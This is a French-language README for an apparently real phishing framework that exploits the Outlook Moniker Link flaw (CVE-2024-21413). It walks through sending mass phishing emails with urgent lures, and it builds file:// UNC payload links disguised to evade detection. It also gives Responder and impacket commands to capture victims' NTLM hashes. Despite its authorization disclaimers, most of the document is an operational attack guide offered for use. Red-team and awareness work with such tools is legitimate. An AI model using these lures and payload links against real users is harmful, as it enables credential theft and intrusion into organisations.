BLIND TRUST - Framework d'engagement de phishing Moniker Link

Un outil de recherche en sécurité pour simuler des campagnes de phishing ciblées exploitant la vulnérabilité Moniker Link CVE-2024-21413. Conçu pour les opérations red team autorisées, les tests d'intrusion et la formation de sensibilisation à la sécurité.

Présentation

BLIND TRUST est un framework d'engagement de phishing qui aide les équipes de sécurité à comprendre et tester leurs défenses contre des attaques sophistiquées par courriel. Il exploite la technique Moniker Link pour contourner l'Affichage protégé d'Outlook, offrant une simulation d'attaque réaliste que les organisations peuvent utiliser pour renforcer leur posture de sécurité.

Cet outil automatise le flux de travail de bout en bout d'une campagne — de la configuration à la livraison des courriels — tout en maintenant la sécurité opérationnelle grâce à des chemins UNC personnalisables et des prétextes flexibles.

Objectif

Les organisations doivent comprendre les techniques d'attaque réelles pour se défendre efficacement. TRUST permet :

• Opérations red team - Mener des campagnes de phishing autorisées dans le cadre d'audits de sécurité
• Formation de sensibilisation à la sécurité - Démontrer aux employés des vecteurs d'attaque réels
• Validation de vulnérabilités - Tester les capacités de détection face à des techniques connues
• Recherche défensive - Comprendre le comportement de Moniker Link dans votre environnement

Fonctionnalités

• Campagnes multi-cibles - Envoyer des courriels de phishing à plusieurs cibles avec une seule configuration
• Chargement flexible des cibles - Charger les cibles via une saisie interactive ou des fichiers .txt de type wordlist
• Prétexte personnalisable - Contrôler l'objet du courriel, le nom d'affichage de l'expéditeur et le corps du message
• Chemins UNC discrets - Personnaliser le chemin Moniker Link pour qu'il paraisse réaliste (domaine, nom de partage, nom d'exploit)
• Authentification SMTP - Prise en charge de divers serveurs SMTP avec négociation TLS
• Logique de nouvelle tentative automatique - Backoff exponentiel pour les pannes SMTP transitoires
• Rapports de campagne - Statut de livraison par cible avec résultats agrégés
• Aucune signature codée en dur - Éliminer les indicateurs évidents qui exposent la technique

Installation

Prérequis

• Python 3.7+
• Bibliothèque standard uniquement (aucune dépendance externe)

Mise en place

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

Modules requis

L'outil utilise uniquement les modules de la bibliothèque standard de Python :

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

Aucun paquet externe requis — fonctionne partout avec Python 3.7+.

Démarrage rapide

python3 TRUST_v7.py

Suivez l'assistant interactif à travers 5 étapes :

1. Identifiants de l'attaquant - Compte SMTP pour l'envoi des courriels
2. Configuration du listener SMB - Adresse IP vers laquelle les cibles se connecteront
3. Configuration des cibles - Charger les victimes depuis une saisie ou un fichier wordlist
4. Personnalisation du courriel - Objet, nom de l'expéditeur et corps du message
5. Personnalisation de la charge utile - Hôte, partage et noms d'exploit du chemin UNC

Exemples d'utilisation

Exemple 1 : Saisie interactive (petite campagne)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Exemple 2 : Chargement via wordlist (grande campagne)

Créez targets.txt :

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Puis exécutez :

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Exemple 3 : Prétexte financier réaliste

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Configuration expliquée

ÉTAPE 1 : Identifiants de l'attaquant

• Courriel de l'attaquant : L'adresse courriel utilisée pour envoyer les courriels de phishing (généralement un compte compromis ou usurpé)
• Mot de passe SMTP : Identifiant d'authentification pour le serveur de messagerie

ÉTAPE 2 : Listener SMB

• IP du listener SMB : L'adresse IP où votre listener SMB (par exemple, Responder, impacket-smbserver) est en cours d'exécution. Les cibles tenteront de s'y connecter lorsqu'elles cliqueront sur le lien Moniker Link.

ÉTAPE 3 : Configuration des cibles

Deux options :

• Saisie interactive : Collez les courriels directement (séparés par des virgules ou des retours à la ligne)
• Fichier wordlist : Charger depuis un fichier .txt avec un courriel par ligne, les commentaires commençant par #

ÉTAPE 4 : Personnalisation du courriel

• Objet : Ligne d'objet du courriel (évitez les références aux CVE ; gardez un ton professionnel)
• Nom d'affichage de l'expéditeur : Le nom convivial affiché dans l'en-tête du courriel
• Corps du courriel : Le texte de prétexte expliquant pourquoi les cibles devraient cliquer sur le lien

ÉTAPE 5 : Personnalisation de la charge utile

C'est ici que vous évitez les signatures évidentes :

• Hôte UNC : Utilisez un domaine ou sous-domaine réaliste (par exemple, finance-internal.company.com) au lieu d'une simple IP
• Partage UNC : Nom de partage réaliste comme quarterly, updates, documents
• Exploit UNC : Nom de fichier réaliste comme q3_report, security_patch, training_document

Résultat : Au lieu de l'évident \\192.168.1.100\share!exploit, vous obtenez quelque chose comme file://finance-internal.company.com/quarterly!q3_report.

Flux d'exécution

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

Comment ça fonctionne

La vulnérabilité

CVE-2024-21413 (Moniker Link) est une vulnérabilité d'Outlook qui permet d'intégrer des URL file:// avec un caractère !. Lorsqu'un utilisateur clique sur un tel lien, Outlook tente d'accéder au chemin UNC, déclenchant une tentative d'authentification NTLM même en mode Affichage protégé.

Déroulement de l'attaque

1. L'utilisateur reçoit un courriel contenant un lien Moniker Link
2. Le courriel semble légitime (grâce à votre prétexte personnalisé)
3. L'utilisateur clique sur le lien
4. Outlook tente d'accéder à \\host\share!exploit
5. Le caractère ! contourne l'Affichage protégé
6. Le système de l'utilisateur s'authentifie auprès de votre listener SMB
7. Vous capturez le hash NTLM ou les informations d'identification

Ce que fait cet outil

TRUST automatise la phase de livraison :

• Crée des courriels réalistes avec un prétexte personnalisé
• Injecte le lien Moniker Link dans la charge utile HTML
• Gère les connexions SMTP et les nouvelles tentatives
• Traite efficacement plusieurs cibles
• Fournit des rapports de campagne

Dépannage

Problème : "SMTP attempt 3 failed: [SMTP: 535]"

Solution : Vérifiez les identifiants SMTP. Pour Gmail, utilisez un mot de passe d'application. Pour la messagerie d'entreprise, contactez votre administrateur SMTP.

Problème : "TLS not supported. Proceeding without encryption."

Solution : Normal pour certains serveurs SMTP. La connexion se fera sans chiffrement TLS.

Problème : "Invalid email: victim@"

Solution : Assurez-vous que les courriels dans les fichiers wordlist sont complets et au format valide ([email protected]).

Problème : "Recipient rejected"

Solution : L'adresse courriel n'existe pas sur le serveur cible, ou le serveur bloque le relais depuis votre compte.

Problème : "File not found: targets.txt"

Solution : Vérifiez que le chemin du fichier est correct et que le fichier existe dans votre répertoire courant.

FAQ

Q : Cet outil est-il légal à utiliser ? R : Uniquement avec une autorisation écrite explicite de l'organisation que vous testez. Le phishing non autorisé est illégal. Ayez toujours un périmètre de travail et des règles d'engagement écrits.

Q : Cet outil peut-il contourner les filtres de courriel avancés ? R : C'est une simulation réaliste, mais les solutions de sécurité courriel modernes peuvent toujours le détecter. C'est justement le but — si les filtres de votre organisation échouent face à cela, vous avez un problème à résoudre.

Q : Pourquoi personnaliser le chemin UNC ? R : Le \\IP\share!exploit d'origine est un signe révélateur. Les vrais attaquants utilisent des chemins réalistes. Votre équipe de sécurité devrait détecter à la fois les indicateurs évidents et subtils.

Q : Puis-je l'utiliser pour former les employés ? R : Oui. Après des tests autorisés, utilisez des exemples de campagne anonymisés dans la formation de sensibilisation à la sécurité pour montrer aux employés les techniques d'attaque réelles.

Q : Cet outil capture-t-il les identifiants ? R : Non. TRUST ne fait que délivrer le courriel. Vous avez besoin d'un listener SMB séparé (Responder, impacket-smbserver, etc.) pour capturer les hashs NTLM lorsque les cibles cliquent sur le lien.

Q : Comment configurer un listener SMB ? R : Utilisez Responder sous Linux ou impacket-smbserver :

# Responder (captures hashes)
sudo responder -i eth0 -v

# impacket-smbserver (file server simulation)
impacket-smbserver Share /tmp -smb2support

Limites

• Aucune capture d'identifiants intégrée : Vous fournissez le listener SMB ; TRUST ne fait que délivrer les courriels
• Aucune persistance de campagne : Les résultats sont affichés dans la console ; redirigez la sortie standard pour les enregistrer
• Aucune intelligence de ciblage : Vous devez collecter vous-même les adresses courriel des cibles
• Aucun obscurcissement des courriels : Bien que les chemins UNC soient personnalisables, les en-têtes de courriel restent du SMTP standard
• Aucun multithreading : Les courriels sont envoyés séquentiellement pour des raisons de fiabilité

Avertissement

Cet outil est réservé aux tests de sécurité autorisés.

• Vous devez disposer d'une autorisation écrite explicite pour mener des campagnes de phishing
• Toute utilisation non autorisée est illégale et contraire à l'éthique
• Utilisez-le uniquement dans des environnements contrôlés, contre des systèmes que vous possédez ou pour lesquels vous avez la permission de tester
• Respectez toujours les lois et réglementations applicables
• Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil

En utilisant TRUST, vous reconnaissez comprendre les implications juridiques et disposer de l'autorisation appropriée.

Recommandations pour une utilisation responsable

1. Obtenez une autorisation écrite - Obtenez des règles d'engagement signées avant toute campagne
2. Définissez le périmètre de vos cibles - Déterminez quels systèmes et personnes sont inclus
3. Planifiez la remédiation - Préparez un plan de formation pour les employés piégés
4. Documentez les résultats - Conservez des dossiers détaillés de l'évaluation
5. Rapportez les conclusions - Fournissez aux parties prenantes un retour sur ce qui a été efficace
6. Respectez la vie privée - N'utilisez pas les données capturées en dehors du programme de sécurité

Améliorations futures

• Persistance des campagnes et journalisation dans un fichier
• Système de modèles pour le prétexte des courriels
• Intégration avec LDAP pour l'énumération des cibles
• Rendu de modèles HTML pour des courriels plus sophistiqués
• Planification des campagnes (livraison basée sur le temps)
• Tableau de bord de rapport avec métriques et analyses
• Prise en charge d'autres techniques de phishing en plus de Moniker Link

Licence

Ce projet est publié sous la licence MIT avec l'ajout d'une restriction d'utilisation. Voir LICENSE pour plus de détails.

Crédits et attributions

Ce projet est basé sur et inspiré par la recherche et l'implémentation originales de CVE-2024-21413 par CMNatic (https://github.com/cmnatic).

CMNatic mérite tout le crédit pour :

• La recherche originale sur la vulnérabilité et la preuve de concept
• L'implémentation technique principale
• La documentation publique initiale

Ce dépôt représente une version modifiée et étendue de ce travail, avec des améliorations incluant :

• Prise en charge des campagnes multi-cibles
• Prétexte de courriel personnalisable
• Personnalisation discrète des chemins UNC
• Chargement des cibles via wordlist
• Meilleure gestion SMTP et logique de nouvelle tentative
• Documentation complète

Voir CREDITS.md pour une attribution plus détaillée.

Auteur

H1SS - A étendu et maintenu cette version à des fins de recherche en sécurité et de tests autorisés.

Contribution

Les contributions sont les bienvenues. Veuillez vous assurer que toute modification :

• Maintienne l'objectif éducatif de l'outil
• Inclue une documentation appropriée
• Suive les pratiques de divulgation responsable
• N'introduise pas de dépendances externes

Voir CONTRIBUTING.md pour les directives.

Support

Pour les problèmes, questions ou suggestions, ouvrez un ticket (issue) sur GitHub.

Rappel : Cet outil est un projet de recherche. Utilisez-le de manière responsable, légale et éthique.